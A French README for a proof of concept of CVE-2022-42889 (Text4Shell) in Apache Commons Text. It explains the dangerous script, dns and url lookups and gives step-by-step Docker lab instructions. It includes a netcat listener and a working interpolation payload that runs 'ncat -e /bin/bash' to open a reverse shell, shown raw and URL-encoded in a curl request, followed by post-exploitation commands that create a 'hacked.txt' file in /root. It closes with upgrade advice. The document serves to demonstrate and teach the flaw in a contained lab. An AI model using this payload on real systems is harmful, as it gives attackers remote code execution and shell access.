CVE-2022-42889-POC

Preuve de concept pour la vulnérabilité Apache commons-text CVE-2022-42889.

Quel est le problème :

Apache Commons Text effectue une interpolation de variables, permettant d'évaluer et d'étendre dynamiquement des propriétés. Le format standard pour l'interpolation est "${prefix:name}", où "prefix" est utilisé pour localiser une instance de org.apache.commons.text.lookup.StringLookup qui effectue l'interpolation. À partir de la version 1.5 et jusqu'à la version 1.9, l'ensemble des instances Lookup par défaut incluait des interpolateurs pouvant entraîner l'exécution de code arbitraire ou le contact avec des serveurs distants. Ces lookups sont : - "script" - exécute des expressions via le moteur d'exécution de scripts JVM (javax.script) - "dns" - résout les enregistrements DNS - "url" - charge des valeurs depuis des URL, y compris depuis des serveurs distants. Les applications utilisant les interpolations par défaut dans les versions concernées peuvent être vulnérables à une exécution de code à distance ou à un contact non intentionnel avec des serveurs distants si des valeurs de configuration non fiables sont utilisées.

Versions affectées :

Apache Commons Text Version 1.5 à 1.9

Guide pas à pas pour montrer la vulnérabilité CVE-2022-42889-POC :

1. Construisez l'application avec Docker (Terminal onglet 1)

docker build --tag=test/text4shell .

2. Lancez l'application (Terminal onglet 2)

docker run -it -p 80:8080 --name text4shell test/text4shell

3. Ouvrez un nouvel onglet de terminal et exécutez la commande ci-dessous (Terminal onglet 3)

docker exec -it text4shell /bin/bash

4. Il est maintenant temps de démarrer un écouteur pour le reverse shell sur votre système local (Terminal onglet 4)

nc -nlvp 8888

5. Testez l'application (Terminal onglet 5)

curl http://localhost/text4shell/attack?search=<n'importe_quoi>

6. Il est maintenant temps de tester l'attaque (Terminal onglet 5)

L'attaque peut être réalisée en passant une chaîne "${prefix:name}" où le préfixe est le lookup mentionné : ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}

curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D

7. Allez dans le Terminal onglet 3 et exécutez les commandes ci-dessous une par une

pwd
cd /root
pwd
ls

8. Allez dans le Terminal onglet 5 et exécutez les commandes ci-dessous une par une

pwd
cd /root
pwd
ls
touch hacked.txt
ls

9. Allez dans le Terminal onglet 3 et exécutez les commandes ci-dessous une par une

pwd
ls

Si vous pouvez voir le fichier hacked.txt dans le Terminal onglet 3 après la commande ls, l'attaque a été exécutée.

10. Fermez tous les terminaux

Comment corriger cette vulnérabilité :

Il est recommandé aux utilisateurs de mettre à jour vers Apache Commons Text 1.10.0, qui désactive les interpolateurs problématiques par défaut.

Plus d'informations :

• NVD-NIST